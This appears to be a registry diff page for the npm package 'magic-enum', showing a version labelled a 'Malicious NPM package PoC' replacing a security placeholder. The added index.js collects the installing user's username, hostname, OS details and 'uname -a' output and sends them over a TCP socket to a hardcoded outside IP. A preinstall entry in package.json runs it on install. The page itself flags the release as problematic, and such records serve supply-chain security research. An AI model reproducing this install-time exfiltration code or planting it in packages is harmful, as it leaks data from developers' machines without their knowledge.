magic-enum 0.0.1-security → 16.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of magic-enum might be problematic. Click here for more details.
- package/index.js +42 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const net = require('net');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
|
5
|
+
const targetIP = '65.0.127.249'; // IP of your listener machine
|
6
|
+
const targetPort = 4777; // Port that the listener is listening on
|
7
|
+
|
8
|
+
function getSystemInfo(callback) {
|
9
|
+
let info = {};
|
10
|
+
|
11
|
+
info.username = os.userInfo().username;
|
12
|
+
info.hostname = os.hostname();
|
13
|
+
info.platform = os.platform();
|
14
|
+
info.arch = os.arch();
|
15
|
+
info.release = os.release();
|
16
|
+
|
17
|
+
exec('uname -a', (error, stdout, stderr) => {
|
18
|
+
if (error) {
|
19
|
+
console.error(`exec error: ${error}`);
|
20
|
+
return;
|
21
|
+
}
|
22
|
+
info.uname = stdout;
|
23
|
+
callback(info);
|
24
|
+
});
|
25
|
+
}
|
26
|
+
|
27
|
+
function sendSystemInfo(info) {
|
28
|
+
const client = new net.Socket();
|
29
|
+
client.connect(targetPort, targetIP, () => {
|
30
|
+
client.write(JSON.stringify(info));
|
31
|
+
client.end();
|
32
|
+
});
|
33
|
+
|
34
|
+
client.on('error', (err) => {
|
35
|
+
console.error(`Socket error: ${err.message}`);
|
36
|
+
});
|
37
|
+
}
|
38
|
+
|
39
|
+
// Run as soon as the package is installed (i.e., when preinstall hook is triggered)
|
40
|
+
getSystemInfo((info) => {
|
41
|
+
sendSystemInfo(info);
|
42
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "magic-enum",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "16.9.9",
|
4
|
+
"description": "Malicious NPM package PoC",
|
5
|
+
"main": "index.js",
|
6
|
+
"preinstall": "node index.js",
|
7
|
+
"scripts": {
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "Security Researcher",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"magic-enum": "^12.9.9"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=magic-enum for more information.
|